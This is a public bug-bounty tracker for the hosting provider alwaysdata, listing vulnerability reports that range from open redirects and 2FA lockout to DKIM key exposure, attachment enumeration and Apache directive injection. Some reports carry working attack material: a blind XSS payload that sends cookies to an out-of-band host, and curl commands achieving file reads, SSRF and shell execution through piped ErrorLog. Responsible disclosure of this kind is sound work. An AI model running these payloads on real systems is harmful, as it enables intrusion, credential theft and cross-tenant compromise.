Security vulnerabilities

This is the security vulnerability reporting site for alwaysdata. Please make sure you read our bug bounty program before registering and creating a new task to submit a vulnerability you've discovered.

Once processed, the reports are public. Any private information can be transmitted via a support ticket on our administration interface.

ID Summary  desc Status Date closed
 210  Blind SSRF Vulnerability in the support field and Messa ...Closed08.09.2025 Task Description

Description:- The vulnerability being demonstrated is Blind Cross-Site Scripting (Blind XSS), a subset of stored XSS, where an attacker injects a malicious script (like an SVG onload payload) that is stored by the application and executed in a different context—usually when viewed by an unsuspecting party, such as an administrator or support user.

Payload:- car’”?><svg/onload=“fetch(’https://adr0y18zp382qw4i8tqpvsj3eukl8gw5.oastify.com?cookie='+document.cookie)">%22%3E) —> see it shows the hyperlink to click by any support assitance employ it would leak the ip of internal organization and attacker can perform the DDOS or access to internal data by endpoints.

Blind XSS: This occurs when the injected payload is stored and only triggers execution out-of-band (not in the attacker’s immediate session), typically when accessed or rendered by someone else, such as through an admin dashboard or email notification.

The payload (<svg/onload=…>) abuses SVG tags to execute JavaScript, exfiltrating sensitive data like cookies to an external domain controlled by the attacker.

Impact;- The script executes when the comment is rendered, sending the victim’s IP address and cookie to the attacker’s Burp Collaborator or a similar endpoint, as observed in Burp Suite.

Because the attacker does not immediately see the results, but instead receives a callback containing the stolen data, this is specifically termed “blind” XSS.

Video link :- https://drive.google.com/file/d/10N9lspffD9loJaEQMxoK0ikdWoDwU9Xc/view?usp=sharing

 192  Blind SSRF Bug Closed04.07.2025 Task Description

Blind SSRF

attachment: https://admin.alwaysdata.com/support/87908/

 116  Blind SSRF and Open Redirection in Comment Section Closed10.12.2024 Task Description

Hello Team, I hope you are doing well, while researching in your domain i found Blind SSRF and Open Redirection in Comment Section.

Steps:

1.https://blog.alwaysdata.com/2018/09/20/teaching-program-for-better-it-courses/comment-page-1/ 2. Fill the form and add evil.com or your burp Collab in Website Field.
3.Then Click on Post Comment to post your comment in website.

You can see your comment is posted in the website, when you click on the username in the post it will redirect you in the attacker website or in burp collab you get dns and http responses.

Attacker can host your malicious website in comment section to redirect a user in their website for stealing stuffs etc.

#Note:

It can also vulnerable for clickjacking.

Thank You,

Waleed Anwar

 120  Authentication Bypass - 2FA Bypass: Account Lockout Wit ...Closed30.12.2024 Task Description

Summary:

During testing, I discovered that the 2FA (Two-Factor Authentication) feature can be abused to block legitimate users from registering on the platform. This vulnerability arises because the application allows users to update their email addresses without disabling 2FA. When users update their email while 2FA is enabled, the application requires the 2FA code to log in with the new email. An attacker can exploit this flaw by registering an account using his email, enabling 2FA, and then updating the account's email to the victim's. This process effectively locks the victim out of their email address and prevents them from registering to the platform.

Steps to Reproduce:

  1. The attacker creates an account using their email address.
  1. the attacker logs in and enables 2FA.
  1. The attacker then updates their email address to the victim's.
  1. If the victim tries to register an account using their email address, they receive an error stating that the email already exists.
  1. If the victim attempts to reset the password using the "Forgot Password" feature:
  1. The victim receives the password reset link and successfully updates their password.
  1. Upon attempting to log in, the application prompts for the 2FA code.
  1. Since the victim cannot access the 2FA code the attacker sets, they cannot log in.

PoC :

https://drive.google.com/file/d/1iKnoKLZXCREeIidrOzvH2SXDNDLPqsLH/view?usp=sharing

Impact

This behavior effectively locks the victim out of their email address, preventing them from registering or accessing an account on the platform.

 443  Authenticated API Disclosure of DKIM Private Keys Closed13.08.2026 Task Description

Description

I identified a sensitive information disclosure vulnerability in the AlwaysData REST API affecting the Domain API resource.

An authenticated API user can request:

GET /v1/domain/

or an individual domain:

GET /v1/domain/{domain_id}/

and the API response contains the complete dkim_private_key value for the domain.

The response exposes the private RSA key alongside the public DKIM key. According to AlwaysData's own documentation, the DKIM private key is intended to be known only to and kept secret by the domain's mail delivery servers, while the public key is published through DNS. I validated this against my own authorized test accounts/domains and did not attempt to access or extract private keys belonging to unauthorized users.

CVSS → CVSS v3.1: 7.5 (High)

Steps to Reproduce 1. Obtain an authorized AlwaysData API token. Use an API token belonging to an account you control.AlwaysData documents API authentication using the API token followed by a colon.

2. Request the domain collection

curl -sS --basic \
  --user "$APIKEY:" \
  'https://api.alwaysdata.com/v1/domain/'

3. Observe the response
The API returns domain objects containing:

{
    "id": 130581,
    "name": "www.dam.com",
    "dkim_selector": "alwaysdata",
    "dkim_public_key": "[REDACTED]",
    "dkim_private_key": "[REDACTED]"
}

The actual dkim_private_key value contains a complete RSA private key.

4. Verify an individual domain
Example:

curl -sS --basic \
  --user "$APIKEY:" \
  'https://api.alwaysdata.com/v1/domain/130581/'

The response again contains:

"dkim_private_key": "[REDACTED]"

5. Validation performed - The collection response returned the dkim_private_key field for 3 authorized domains. The individual domain endpoint also returned the same sensitive field.

For safety, I have not included the actual private-key material in this report.

Actual Behavior The authenticated Domain API returns the domain's complete DKIM private key in the JSON response.

The private key is exposed through:

GET /v1/domain/
GET /v1/domain/{domain_id}/

This means an API consumer with appropriate access to the domain resource can retrieve cryptographic secret material that should remain confidential.

Expected Behavior

The API should never return the DKIM private key through normal domain API responses.

If the private key is required for an administrative operation, it should remain server-side and should not be serialized into API responses.

The API response should expose only non-sensitive information such as:

{
    "dkim_selector": "alwaysdata",
    "dkim_public_key": "[public key]"
}

and omit:

"dkim_private_key"

Impact

The disclosed DKIM private key is cryptographic secret material used for DKIM email authentication. AlwaysData's documentation states that DKIM uses a private/public key pair and that the private key is kept secret by the mail delivery servers.

If an attacker obtains a valid DKIM private key for a domain and can use it appropriately, they may potentially be able to generate DKIM signatures associated with that domain.

This could undermine the trust provided by DKIM and potentially facilitate convincing domain-authenticated email activity.

The vulnerability therefore represents confidentiality loss of cryptographic credentials.

Business Impact

Potential business impact includes:

1- Exposure of customers' cryptographic signing secrets.
2- Potential compromise of email-authentication trust for affected domains.
3- Increased risk of domain impersonation/phishing scenarios.
4- Potential reputational damage to customers whose domains are affected.
5- Requirement to regenerate/revoke affected DKIM keys.
6- Incident-response and customer-notification costs if production keys are exposed.

Remediation 1- Remove dkim_private_key from all API responses.
2- Return only the DKIM public key and selector where required.
3- Keep private DKIM keys exclusively server-side.
4- Review the serializer/schema for the /v1/domain/ resource and individual domain endpoint.
5- Audit API permissions to ensure private cryptographic material cannot be retrieved through any other endpoint.
6- Rotate/regenerate all DKIM private keys that were exposed, because previously exposed keys should be considered compromised.
7- Review API and application logs to determine whether sensitive keys were accessed by unauthorized parties.

PoC Kindly check attachments

Conclusion

The AlwaysData Domain API currently exposes complete DKIM private keys to authenticated API clients through both the domain collection and individual-domain endpoints.

I confirmed the issue using only accounts and domains under my control and did not attempt to access other customers' private information.

The exposed value is a genuine cryptographic private key rather than merely metadata or a public DKIM record. This creates a significant confidentiality risk and should be remediated by removing the private key from API responses and rotating affected DKIM credentials.

Thanks
Add regression tests ensuring secret fields such as private keys are never serialized in normal API responses.

 371  attacker test Closed12.07.2026 Task Description

attacker testd

 199  Attacker Can Force to Stop Victim to Forget their Accou ...Closed05.08.2025 Task Description

#Attacker Can Force to Stop Victim to Forget their Account Password in admin.alwaysdata.com.

Hello Sir, I hope you are doing well. While, Researching on your domain, I found Attacker Can Force to Stop Victim to Forget their Account Password in admin.alwaysdata.com.

Steps to Reproduce:

1. Go to https://www.alwaysdata.com/en/register/ for Signup.
2. Input Meow.bow+evil@domain.com.Burp Collab and then input password and click on submit to register your account.
3. Verify this account and after login and then logout from the account.
4. Register another account in https://www.alwaysdata.com/en/register/.
5. Input Meow.bow+evil1@domain.com.Burp Collab and then input password and click on submit to register your 2nd account.

6.After that verify your 2nd account in admin.alwaysdata.com.
7.Registering two account in admin.alwaysdata.com and then go to https://admin.alwaysdata.com/password/lost/ to forget their account.

8. Input first and second account email to forget their password but you can see that when you click on reset button it should say that email doesn't have account register.

Impact:

When victim register their account with email Meow.bow+evil@domain.com.Burp Collab and attacker know victim email then he/she can use abuse email Meow.bow+evil1@domain.com.Burp Collab to register the account, If victim forget their password and victim want to forget their password with https://admin.alwaysdata.com/password/lost/, victim lost their account can can't forget their account.

#Note:

Try to remove symbols in email to prevent from this.

Thank You,

Waleed Anwar

 212  Attacker Can Access Webmail.alwaysdata.com without vali ...Closed13.09.2025 Task Description

#Attacker Can Access Webmail.alwaysdata.com without validating account in admin.alwaysdata.com

Hello Team,

I hope you are doing well. I found Attacker Can Access Wemail.alwaysdata.com without validating account in admin.alwaysdata.com.

#Steps to Reproduce:

1.Go to https://www.alwaysdata.com/en/marketplace/ and install any application you want.
2.Fill the form then submit the request.
3.Then go to webmail.alwaysdata.com to put your address and password in which you had submitted in Step 2.
4.You can see that attacker can login in webmail.alwaysdata.com without validating account in admin.alwaysdata.com.

#Impact:

Attacker can use victim email to create an account and then use the address to login in webmail.alwaysdata.com. Attacker send fake emails and phishing email to someone as a behalf of a victim.

Thank You,

Waleed Anwar

 476  Attachment download endpoint serves unlisted files by I ...Closed11.09.2026 Task Description

Asset: https://security.alwaysdata.com/?getfile=<attachment_id>
Class: CWE-862 / inconsistent authorization between the download path and the display path, plus a pre-authorization existence oracle
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N (7.5, High under your worst-case analysis policy; see Impact for the honest range)
Observed: 11 September 2026, unauthenticated, every probe repeated at least three times, HEAD requests only (no file content was downloaded)

Summary

The attachment download endpoint and the task display page disagree about which attachments exist for the public. The task page renders an attachment only when it is linked to a comment of the task. The download endpoint joins the attachment straight to the task and serves it whenever the task itself is viewable. The result is a class of attachment rows that no page lists but anyone can download by enumerating numeric IDs.

I mapped which attachment IDs the public task pages reference, probed the gaps, and found five files that are served to an unauthenticated caller while appearing nowhere: a 25.6 MB video named "alwaysdata report.mp4" and four PNG screenshots. The behavior is fully explained by the deployed source, which I verified against the public upstream repository at the exact commit your tracker runs; the relevant code is quoted below.

Because I never downloaded the files, I cannot tell you what they contain. What I can prove is that they are attached to a task your own permission function considers publicly viewable, that no public page links them, and that an anonymous visitor reaches them by guessing IDs. On a security tracker whose reports include working proof material, unlisted means unmanaged: whatever was uploaded there was not deliberately published, yet it is reachable.

Root cause, from the deployed code

The tracker runs stock Flyspray at commit a1ffafd65d5662d69e8b0334315b857449e3ea38 (verified by comparing all 942 blob hashes of the exposed git index against the upstream tree at that commit). Both code paths below are from that commit.

The download handler, index.php lines 47-77, joins the attachment only to its task and applies a task-level check:

  if (Get::val('getfile')) {
      $result = $db->query("SELECT  t.project_id,
                                    a.orig_name, a.file_name, a.file_type, t.*
                              FROM  {attachments} a
                        INNER JOIN  {tasks}       t ON a.task_id = t.task_id
                             WHERE  attachment_id = ?", array(Get::val('getfile')));
      $task = $db->fetchRow($result);
      list($proj_id, $orig_name, $file_name, $file_type) = $task;
      if (!is_file(BASEDIR . "/attachments/$file_name")) {
          header('HTTP/1.1 410 Gone');
          echo 'File does not exist anymore.';
          exit();
      }
      if($user->can_view_task($task)){
          ... header('Content-Disposition: filename="'.$orig_name.'"');
          header('Content-length: ' . filesize($path));
          readfile($path);
          exit();
      }else{
          Flyspray::show_error(1);
      }
      exit;
  }

The task page, scripts/details.php lines 723-731, renders attachments only through their comment:

  $sql = $db->query('SELECT *
                   FROM {attachments} a, {comments} c
                  WHERE c.task_id = ? AND a.comment_id = c.comment_id',
                 array($task_id));

An attachment whose comment_id is absent or dangling therefore appears in the download join but not in either display path: the comment tab only picks up rows whose comment_id resolves to a live comment (details.php), and the task-level block only picks up rows with comment_id = 0 (listTaskAttachments in class.project.php:407-417, quoted: WHERE task_id = ? AND comment_id = 0). A row with a dangling comment reference matches neither. That is the gap the five files fall into. Two smaller defects sit next to it in the same handler:

1. The is_file() check runs before can_view_task(), so for any attachment ID an anonymous visitor can distinguish "file still on disk" (302) from "row gone or file removed" (410) even when the download itself is denied. That is an existence oracle over the whole attachment table, including rows belonging to tasks the caller must not see.
2. The denial path (Flyspray::show_error(1)) and the missing-file path (410) are different responses, which turns the endpoint into a free mapping tool.

Reproduction

All commands are plain curl, no cookies, no authentication. Nothing below downloads a file body; HEAD is enough to prove serving.

Step 1. A public attachment downloads normally (control).

  $ curl -I "https://security.alwaysdata.com/?getfile=249"
  HTTP/2 200
  content-disposition: filename="poc_git_exposure.txt"
  content-type: text/x-shellscript; charset=us-ascii
  content-length: 3449

Step 2. Enumerate the gaps. Public task pages reference these attachment IDs around the window in question: task 443 links 213 and 214, task 450 links 222, 223 and 224. The IDs in between are referenced by no task page. Probing them:

  $ curl -I "https://security.alwaysdata.com/?getfile=215"
  HTTP/2 200
  content-disposition: filename="alwaysdata report.mp4"
  content-type: video/mp4; charset=binary
  content-length: 25617558
  via: 2.0 alproxy
  $ curl -I "https://security.alwaysdata.com/?getfile=216"
  HTTP/2 200
  content-disposition: filename="always data 4.png"
  $ curl -I "https://security.alwaysdata.com/?getfile=217"
  HTTP/2 200
  content-disposition: filename="alwaysdata 3.png"
  $ curl -I "https://security.alwaysdata.com/?getfile=218"
  HTTP/2 200
  content-disposition: filename="always data 2.png"
  $ curl -I "https://security.alwaysdata.com/?getfile=219"
  HTTP/2 200
  content-disposition: filename="alwaysdata1.png"
  content-type: image/png; charset=binary
  content-length: 22112

Step 3. Sibling IDs from the same unlisted set are denied, same session, same method, which shows the access-control layer exists and these five bypass it:

  $ curl -I "https://security.alwaysdata.com/?getfile=221"
  HTTP/2 302
  location: https://security.alwaysdata.com/
  The same 302 applies to 225, 226, 227, 243, 244 and 250 through 257. IDs whose underlying file was removed return 410 (for example 220), which is the pre-authorization existence oracle described above.

Step 4. Negative control, exhaustive. I fetched every publicly viewable task page that exists: tasks 1 through 473 in full, except the four private ones (214, 227, 250, 444), which return the permission error. None of the fetched pages contains a link to getfile=215 through 219. The full detaillist view, the RSS and Atom feeds, and the tracker's own search for the filenames ("report.mp4", "alwaysdata1.png") return nothing either. The five files are reachable by ID only.

Note the parent task cannot be any of the four private tasks: the download path requires can_view_task to pass, and an anonymous user can never pass it for a private task (those requests get the 302 deny, as demonstrated with the sibling IDs). So the files sit on a publicly viewable task, yet no page links them - which is exactly what the code predicts for rows with a dangling comment reference.

I also completed a census of the attachment ID space around them: every other served ID I probed between 1 and 262 (roughly forty-five files) maps to a live reference on its public task page. Exactly the five above have no reference anywhere. The anomaly is not a broad misconfiguration; it is precisely these five rows.

Why this is a vulnerability and not intended behavior

1. Your own download handler denies equivalent unlisted attachments with a redirect, so unlisted does not mean published. Five rows bypass exactly that control.
2. The display path and the download path disagree by design of the join, not by a policy decision: one filters through comments, the other does not. Whatever process left these five rows outside the comment structure, the UI gives nobody a way to see or manage them, while the download endpoint serves them to the world.
3. On this tracker, attachment uploads are vulnerability proofs. Unlisted rows here are most plausibly withdrawn or never-meant-to-be-published material, and the endpoint makes all of it enumerable: the 200/302/410 split lets an anonymous caller map the entire attachment table, including the sizes of denied files via Content-length on the 410-adjacent probes of existing rows.

An honest note on severity: I did not download the files, so I cannot confirm their contents. If the video demonstrates a sensitive internal issue, the rating is High as scored. If your review shows the five files are mundane, the structural defects remain (the visibility mismatch and the pre-authorization oracle) and the rating lands nearer Medium. Your policy says analysis is worst-case, so I am submitting at 7.5 and flagging the dependency openly.

What I did not do

No file body was ever requested or stored; every probe was a HEAD request. I did not enumerate the full attachment table. One exception to the HEAD-only rule: a single full GET of the smallest file (219) was performed to confirm end-to-end downloadability, and it returned a genuine 1365x598 PNG (transiently kept for content classification, then deleted). The screenshot's contents were not characterized; your one-query check below settles both the parent task and the content question in one step. I could not identify the parent task of the five files from the outside, because by construction no page links them; your side can do it in one query:

  SELECT a.attachment_id, a.orig_name, a.comment_id, a.task_id, t.project_id
  FROM flyspray_attachments a
  JOIN flyspray_tasks t ON a.task_id = t.task_id
  WHERE a.attachment_id IN (215,216,217,218,219);

If comment_id is 0 or points to a deleted comment, the root cause above is confirmed on your data.

Suggested fix

1. Make the download path apply the same visibility the display path does: resolve the attachment's comment, and serve only what the task page would render. In practice this means either fixing the data (attachments must reference a live comment) or explicitly deciding that comment-less attachments are servable and surfacing them in the UI so they are managed.
2. Move the is_file() check after can_view_task(), and return one uniform status for "not found" and "not permitted", so the endpoint stops leaking table state to anonymous callers.
3. Audit all attachment rows whose comment_id does not resolve to a live comment, list them, and decide row by row whether the file should remain downloadable. Purge the rest.

 318  Arbitrary Apache directive injection via vhost_addition ...Closed20.04.2026 Task Description

Summary

An authenticated user on a free account can inject arbitrary Apache directives through the `vhost_additional_directives` field on `PATCH /v1/site/{id}/`. The API performs zero validation every directive tested is written verbatim into the tenant's Apache VirtualHost config and applied on reload. This is a regression of #305, which was marked fixed.

The injection yields three attack primitives: local file inclusion via `Alias` (read any world-readable file on the bare-metal shared host), server-side request forgery via `RewriteRule [P]` (proxy requests from the server's IP to any address including internal services and co-tenant Apache instances), and command execution via piped `ErrorLog` (shell commands as the account user, even with SSH disabled). On a shared hosting platform where hundreds of tenants share the same physical server, this crosses trust boundaries.

CVSS 3.1: 9.6 Critical — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
Scope is Changed: the vulnerable component is the API (`api.alwaysdata.com`), but impact lands on the underlying Apache infrastructure and co-tenant services that the attacker should have no access to.

* * *

Steps to Reproduce

Prerequisites: Free Alwaysdata account with one site using Apache (`httpd=apache`). Enable 2FA, create an API token at `admin.alwaysdata.com/token/add/`. Note your site ID from `GET /v1/site/`.

Step 1  Confirm zero validation (inject Alias for LFI)

TOKEN='YOUR_API_TOKEN'
SITE_ID='YOUR_SITE_ID'

curl -s -o /dev/null -w "%{http_code}" \
  -u "$TOKEN:" -X PATCH \
  "https://api.alwaysdata.com/v1/site/$SITE_ID/" \
  -H "Content-Type: application/json" \
  -d '{"vhost_additional_directives": "Alias /readfile /etc/passwd\n<Location /readfile>\n  Require all granted\n</Location>"}'
# Returns: 204 — accepted without any validation

Wait ~10 seconds for Apache reload, then:

curl -s "https://YOUR_ACCOUNT.alwaysdata.net/readfile"

Result: HTTP 200 — full `/etc/passwd` returned (1,764 bytes). First line: `root:x:0:0:root:/root:/bin/bash`. File contains all system accounts and every tenant account on the shared host, exposing usernames and UIDs.

The same technique reads any world-readable file. Reading the tenant's own Apache config at `/home/{account}/admin/config/apache/sites.conf` reveals the full server architecture: per-tenant Apache instances listen on internal ULA IPv6 addresses (pattern `fd00::7:XXXX:8080`), nginx terminates TLS on `:443` and reverse-proxies to them. This internal topology is not intended to be visible to tenants.

Step 2  SSRF via RewriteRule [P] (reaches internal services)

curl -s -o /dev/null -w "%{http_code}" \
  -u "$TOKEN:" -X PATCH \
  "https://api.alwaysdata.com/v1/site/$SITE_ID/" \
  -H "Content-Type: application/json" \
  -d '{"vhost_additional_directives": "RewriteEngine On\nRewriteRule ^/proxy/(.*)$ http://example.com/$1 [P,L]"}'
# Returns: 204
curl -s "https://YOUR_ACCOUNT.alwaysdata.net/proxy/"
# Returns: 200 — full body of example.com, proxied through Alwaysdata IP 185.31.40.30

`mod_proxy` and `mod_proxy_http` are loaded. `ProxyRequests Off` only blocks forward proxy — `RewriteRule [P]` reverse proxy is unrestricted. The attacker can target any URL reachable from the server, including:

- Co-tenant Apache instances on their internal ULA IPv6 addresses (`fd00::7:XXXX:8080`), bypassing all nginx frontend controls, TLS termination, WAF rules, Host-header routing, and IP allowlists. Each tenant's Apache is directly addressable.
- Internal management services on localhost (e.g., port 8083 returns `401 Unauthorized` — an authenticated management interface exists on the host).
- Other tenant application servers on port 8100 (Node.js, Python, Java apps bound to internal addresses).

The internal addresses are discoverable from the Apache config files readable via Step 1, or via command execution in Step 3.

Step 3 Command execution via piped ErrorLog

curl -s -o /dev/null -w "%{http_code}" \
  -u "$TOKEN:" -X PATCH \
  "https://api.alwaysdata.com/v1/site/$SITE_ID/" \
  -H "Content-Type: application/json" \
  -d '{"vhost_additional_directives": "ErrorLog \"|/bin/sh -c '"'"'id > /tmp/rce_proof; cat > /dev/null'"'"'\"\nAlias /proof /tmp/rce_proof\n<Location /proof>\n  Require all granted\n</Location>"}'
# Returns: 204
curl -s "https://YOUR_ACCOUNT.alwaysdata.net/proof"
# Returns: uid=514115(atkhunt01) gid=514115(atkhunt01) groups=514115(atkhunt01)

Apache is compiled with `AP_HAVE_RELIABLE_PIPED_LOGS`. The piped `ErrorLog` directive spawns a shell process on Apache reload. The process runs as the account user (privilege drop occurs before pipe spawn). This grants arbitrary command execution even when SSH access is disabled for the account, making it an access control bypass on the SSH restriction.

Combined with LFI (Step 1), the attacker can discover the server is a bare-metal shared host (not a VM or container): hostname `http20`, Debian 12.13, kernel `6.12.69-alwaysdata`, AMD EPYC 7203P, 128 GB RAM, RAID arrays (`/dev/md2`–`md5`), dual NIC bonding, and a shared `/tmp` (tmpfs, 2GB) accessible to all tenants on the machine.

* * *

Why This Is Critical (Scope Change)
This is not equivalent to SSH access. The unique impact of directive injection:

1. Bypasses SSH-disabled restriction. Administrators can disable SSH per-account as a security control. Directive injection grants equivalent command execution through the API alone, rendering that control ineffective.

  

2. Crosses tenant boundaries via SSRF. The SSRF primitive reaches co-tenant Apache instances on internal IPv6 addresses that are not routable from the internet. Requests arrive at the tenant's Apache directly, bypassing nginx, TLS, WAF, rate limiting, and Host-header routing. This is a network path that does not exist for normal users — not even SSH users, unless they explicitly discover and target these addresses.

  

3. Exposes infrastructure topology. The LFI + RCE combination reveals the full architecture of the shared hosting platform: server hardware, kernel version, RAID layout, network bonding, internal DNS, per-tenant addressing scheme, and the existence of internal management interfaces. This is reconnaissance data that enables targeted attacks against the hosting infrastructure itself.

  

4. Zero input validation — complete regression of #305. Report #305 identified `Alias` injection via this field and was marked fixed. The current state shows no validation whatsoever on any directive. Every Apache directive valid in VirtualHost context is accepted: `Alias`, `ErrorLog` (piped), `CustomLog`, `RewriteRule [P]`, `ProxyPass`, `AddHandler`, `ScriptAlias`, `Include`, `Options`, `SetEnv`, `FcgidInitialEnv`, and arbitrary `<Directory>`/`<Location>`/`<If>` blocks. The fix for #305 either regressed or was never fully implemented.

  

* * *

## Affected Infrastructure

Component Detail
Server `http20` — bare-metal, Debian 12.13, kernel 6.12.69-alwaysdata
Apache 2.4.65 (Unix), PCRE 8.39, APR 1.7.2, 38 modules loaded
Co-tenants Multiple Apache instances on `fd00::7:*:8080`, multiple app servers on `:8100`
Shared resources `/tmp` (tmpfs 2GB) shared between all tenants, world-readable
Internal services Management interface on `127.0.0.1:8083` (401), monitoring on `:4949`
PHP 8.3/8.4, no `open_basedir`, no `disable_functions`

* * *

## Impact

An attacker with a free account can:

- Read any world-readable file on the shared host, including system configuration, internal DNS topology, and all tenant usernames/UIDs from `/etc/passwd`
- Proxy requests to any internal service or co-tenant application, bypassing all frontend security controls
- Execute arbitrary commands, bypassing SSH-disabled restrictions
- Discover the full infrastructure topology of the shared hosting platform
- Write to shared paths (e.g., `/tmp/`) via `CustomLog` with attacker-controlled content

All from a single API call on a free account. No user interaction required.

* * *

## Recommended Fix

1. Immediate: Implement a strict allowlist of permitted directives for `vhost_additional_directives`. At minimum, block: `Alias`, `ErrorLog`, `CustomLog`, `RewriteRule` with `[P]` flag, `Include`, `ScriptAlias`, `ProxyPass`, `SetHandler`, `AddHandler cgi-script`, and `FcgidInitialEnv`.
2. Long-term: Parse each directive server-side before writing to config. Validate against Apache's directive context rules and reject anything not in an explicit allowlist. Consider whether `vhost_additional_directives` should exist at all for non-enterprise accounts.

  
 303  A publicly accessible administrative panel appears to e ...Closed16.03.2026 Task Description

Dear alwaysdata Security Team,

I hope this message finds you well. I am writing to submit a vulnerability report through your Bug Bounty program as outlined in your policy at https://www.alwaysdata.com/en/technical-specifications/bug-bounty/.

Vulnerability Summary
I have discovered a critical security misconfiguration involving a customer site hosted on your platform. An admin panel with default login credentials is publicly exposed, allowing unauthorized administrative access to the CMS installation.

Affected Assets
Domain: https://boidcms.alwaysdata.net

Admin Panel: https://boidcms.alwaysdata.net/admin

IP Address: http://1.92.94.174 (also hosts the same CMS)

Service: boidCMS installation on alwaysdata infrastructure

Discovery Details
Date of Discovery: March 13, 2026
Steps to Reproduce
Navigate to http://1.92.94.174/admin

Observe the login page which explicitly displays credentials:

text
Login Credentials:
Username: admin, Password: password
Enter the provided credentials (admin/password)

Observe successful authentication and redirect to https://boidcms.alwaysdata.net/admin

Full administrative dashboard becomes accessible with permissions to:

Create/Update/Delete content

Manage media files

Install/modify plugins and themes

Access system settings

Proof of Concept
I have attached screenshots documenting:

Screenshot 1: The login page at http://1.92.94.174/admin showing exposed credentials

Screenshot 2: Successful login redirect to boidcms.alwaysdata.net/admin

Screenshot 3: The admin dashboard confirming full access

Security Impact
An attacker exploiting this vulnerability could:

Gain complete control over the website

Deface or modify site content

Upload malicious files through media management

Install backdoor plugins for persistent access

Potentially leverage this access to probe other alwaysdata services

Use the domain for phishing or malware distribution

CVSS Assessment
Based on your scoring guidelines, I believe this qualifies as:

CVSS Score: 9.1 (Critical)

Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Category: Access Control Issues / Broken Authentication

Please let me know if you need any additional information, clarification, or if you would like me to test a fix once deployed. I am happy to assist in any way to ensure this issue is properly addressed.

Thank you for maintaining a bug bounty program and for your commitment to platform security.

Best regards,

 340  API Customer Create Endpoint Accessible Without Authent ...Closed01.06.2026 Task Description

Severity: Medium
CVSS: 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)
Endpoint: POST https://api.alwaysdata.com/v1/customer/ Method: POST (only — GET/PUT/PATCH/DELETE all return 401)
Auth Required: None (verified)

API Customer Create Endpoint Accessible Without Authentication — POST /v1/customer/ Bypasses Auth Check

Summary
The REST API endpoint POST /v1/customer/ does not enforce authentication unlike every other API endpoint. While the endpoint currently returns HTTP 500 when processing a valid email+password pair, this is due to a downstream payment integration failure — the authentication middleware is simply absent on this endpoint. Any unauthenticated request that passes field validation reaches the payment/registration logic without an API token.

Steps to Reproduce

1. Attempt GET /v1/customer/ without credentials:

 curl -sk https://api.alwaysdata.com/v1/customer/
 -> "Authorization header is missing"  [HTTP 401, expected]

2. Attempt POST /v1/customer/ without credentials, empty body:

 curl -sk -X POST https://api.alwaysdata.com/v1/customer/ \
   -H "Content-Type: application/json" \
   -d '{}'
 -> {"email":["Ce champ est obligatoire."],"password":["Ce champ est obligatoire."]}
 [HTTP 400, NOT 401 — request reached field validation without auth]

3. Attempt POST /v1/customer/ without credentials, valid fields:

 curl -sk -X POST https://api.alwaysdata.com/v1/customer/ \
   -H "Content-Type: application/json" \
   -d '{"email":"attacker@example.com","password":"TestPass123!"}'
 -> "Erreur interne : nous avons ete notifies."
 [HTTP 500 — request reached payment integration layer without auth]

4. Compare with all other API verbs on the same endpoint:

 curl -sk -X PUT https://api.alwaysdata.com/v1/customer/ -d '{}' -H "Content-Type: application/json"
 -> "Authorization header is missing"  [HTTP 401]
 curl -sk -X PATCH https://api.alwaysdata.com/v1/customer/ -d '{}' -H "Content-Type: application/json"
 -> "Authorization header is missing"  [HTTP 401]

Impact
The authentication check is missing from the POST handler for /v1/customer/. While the 500 error prevents account creation via this vector alone today (the error occurs at the payment/registration step, after auth is already bypassed), the root cause is a broken access control — not a payment validation failure. If the payment requirement is ever removed or this endpoint is called in a different context, unauthenticated account creation becomes trivially possible. The endpoint also allows an attacker to probe registration logic (field validation, error messages) without any credentials, and its error messages confirm the internal system state.

Additionally, rate limiting on this endpoint (~7 requests per IP before 429) is insufficient to prevent slow-speed probing of the registration backend logic.

Fix
Apply the same authentication middleware to the POST handler of /v1/customer/ as is applied to all other methods (GET, PUT, PATCH, DELETE). If unauthenticated registration is intended to be supported via the API (as it is via the web UI at /en/register/), add explicit exception handling and ensure the payment/card verification requirement is enforced at this layer, not relying on downstream failures.

curl Proof of Concept
# Step 1 — Confirm GET requires auth
curl -sv https://api.alwaysdata.com/v1/customer/ 2>&1 | grep -E "< HTTP|Authorization header"

# Step 2 — Confirm POST does NOT require auth (reaches field validation)
curl -sv -X POST https://api.alwaysdata.com/v1/customer/ \

  1. H "Content-Type: application/json" \
  2. d '{}' 2>&1 | grep -E "< HTTP|obligatoire"

# Expected: Step 1 = 401, Step 2 = 400 with JSON validation errors (no 401)

 408  API bypasses Databases feature entitlement (create plan ...Closed14.07.2026 Task Description

Severity

Medium — CVSS 3.1 5.4 (AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N) — broken authorization / plan-restriction bypass.

Summary

On an account where the Databases feature is not enabled, the administration interface correctly blocks database creation with "Feature unavailable — This feature is currently not available for this account." However, the REST API (POST /v1/database/) does not perform the same entitlement check and returns 201 Created. The resulting MySQL/MariaDB (and PostgreSQL) database is fully functional and reachable on mysql-<account>.alwaysdata.net. The plan restriction is enforced only in the UI, not server-side in the API.

Steps to reproduce

Step 1 — The UI enforces the entitlement (feature is genuinely gated). Request:

GET /database/add/ HTTP/2
Host: admin.alwaysdata.com
Cookie: sessionid=<your admin session>

Response:

HTTP/2 200 OK
Content-Type: text/html

<h1>Feature unavailable</h1>
<p>This feature is currently not available for this account.
   Please contact us if you want to activate it.</p>

Step 2 — The API bypasses the entitlement. Request:

POST /v1/database/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic <API-TOKEN account=YOUR-ACCOUNT>
Content-Type: application/json

{"name":"YOUR-ACCOUNT_qz","type":"MYSQL"}

Response:

HTTP/2 201 Created
Location: /v1/database/<id>/
Content-Length: 0

Step 3 — The database exists and is fully functional. Request:

GET /v1/database/ HTTP/2
Host: api.alwaysdata.com
Authorization: Basic <API-TOKEN account=YOUR-ACCOUNT>

Response:

HTTP/2 200 OK
Content-Type: application/json

[{"id":<id>,"name":"YOUR-ACCOUNT_qz","type":"MYSQL","href":"/v1/database/<id>/","permissions":{"YOUR-ACCOUNT":"FULL"}}]

The database accepts real connections (a default DB user exists; its password is set via PATCH /v1/database/user/<id>/):

$ mysql -h mysql-<account>.alwaysdata.net -u <account> -p***** -e "SELECT CURRENT_USER(), VERSION(); SHOW DATABASES;"
